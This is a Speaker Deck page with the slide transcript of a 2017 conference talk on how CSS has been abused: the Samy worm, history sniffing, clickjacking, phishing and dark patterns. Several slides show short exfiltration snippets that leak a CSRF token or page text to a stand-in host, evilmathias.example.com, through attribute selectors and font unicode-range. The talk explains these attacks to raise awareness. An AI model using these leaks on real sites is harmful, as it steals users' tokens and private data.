Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2.1k
2
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
240
The Tail and Its Dog
stephenhay
1
340
From Deception to Clarity
stephenhay
4
710
Sculpting Text
stephenhay
4
1k
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
560
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
600
Flexbox: One Giant Leap for Web Layout
stephenhay
6
440
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
970
Flexbox: One Giant Leap for Web Layout
stephenhay
5
210
Other Decks in Design
See All in Design
AVI 2026 Keynote "Vision-Driven Design"
ishii_mit
0
110
染み出し好きの、 染み出しコントロール論
mukai_takeru
0
390
Saving_the_King_-_Storyboard.pdf
terencebasart
0
270
Basket_of_love.pdf
terencebasart
0
250
改正JISを見据えた、企業のアクセシビリティ対応ロードマップ
securecat
1
430
設計の進め方と 品質特性品質特性
harakeishi
0
1.1k
JBUG大阪#9_登壇資料_引き継ぎで困らないためのBacklogWikiの整え方_ミスと属人化を防ぐために、 “次の人が動ける状態”をどう残すか
webnaut
2
220
Figma MCPを活用するためのデザインハンドブック
vivion
8
20k
エンジニアがAI活用してスライドデザインできる世界が来たよ!
kaikou
1
380
ISO 9241-171:2025っていうのがあってな
shosira
1
250
開閉UIのアニメーション設計
hiro0218
2
960
【CEDEC2026】派手さと見やすさは両立できる!『Shadowverse: Worlds Beyond』エフェクト・3D背景の超進化したビジュアル設計
cygames
PRO
0
1.4k
Featured
See All Featured
Building the Perfect Custom Keyboard
takai
2
840
Digital Projects Gone Horribly Wrong (And the UX Pros Who Still Save the Day) - Dean Schuster
uxyall
1
2.4k
The agentic SEO stack - context over prompts
schlessera
0
870
コードの90%をAIが書く世界で何が待っているのか / What awaits us in a world where 90% of the code is written by AI
rkaga
63
45k
Data-driven link building: lessons from a $708K investment (BrightonSEO talk)
szymonslowik
1
1.2k
Organizational Design Perspectives: An Ontology of Organizational Design Elements
kimpetersen
PRO
1
800
Scaling GitHub
holman
464
140k
Future Trends and Review - Lecture 12 - Web Technologies (1019888BNR)
signer
PRO
0
3.7k
How to Align SEO within the Product Triangle To Get Buy-In & Support - #RIMC
aleyda
2
1.8k
Jess Joyce - The Pitfalls of Following Frameworks
techseoconnect
PRO
1
370
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
16
2.1k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
232
55k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens